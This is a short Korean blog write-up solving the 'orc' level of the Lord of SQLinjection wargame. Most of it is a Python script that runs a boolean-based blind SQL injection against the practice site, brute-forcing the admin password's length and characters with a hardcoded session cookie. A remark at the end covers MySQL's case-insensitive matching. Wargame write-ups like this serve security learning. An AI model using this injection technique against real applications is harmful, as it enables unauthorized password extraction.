(los[Lord of SQLinjection]) ORC

2020. 4. 23. 10:10Lord of SQLinjection

import requests

password = ""

for k in range(1, 20):
url = "https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php? pw=%27 or id=%27admin%27 and length(pw) = " + str(k) + "%23"
r = requests.post(url, cookies=(dict(PHPSESSID="2o4ge7l7skce4kl1qhl8kkq404")))
print("try password length = " + str(k))
if 'Hello admin' in r.text:
print("[+] find password length = " + str(k))
for j in range(1, k+1): # 1~8자리 패스워드를 찾아야함
print("%d" % j) # 현재 몇번째 인지 표시
for i in range(48, 128): # 대부분의 글자들 다 찾아내기
if 58 <= i <= 64:
continue
if 91 <= i <= 96:
continue
try: # 시작!
url = "https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php? pw=%27 or id=%27admin%27 and substr(pw," + str(j) + ",1) = %27" + chr(i)
# print(url)
r = requests.post(url, cookies=(dict(PHPSESSID="2o4ge7l7skce4kl1qhl8kkq404"))) # 자신의 Session ID를 넣어야함.
print(str(j) + "번째 찾는 중 : " + chr(i)) # 대략적인 현재 위치를 확인하기 위함, 없어도 되는 코드
except: # 예외는 반드시!
print("Error")
continue
if 'Hello admin' in r.text: # 글자를 찾았을 경우!
password = password + chr(i)
print("[+]Password : " + password)
break
break

패스워드는 8자리이지만 MySQL에서 D와 d가 대소문자 구분없이 인식하기 때문에 코드에서 for문을 돌면서 대문자와 소문자에서 모두 Hello admin이 출력된다. 처음에 D를 거쳐서 Hello admin이 출력됬기 때문에 소문자인 d도 입력해본다.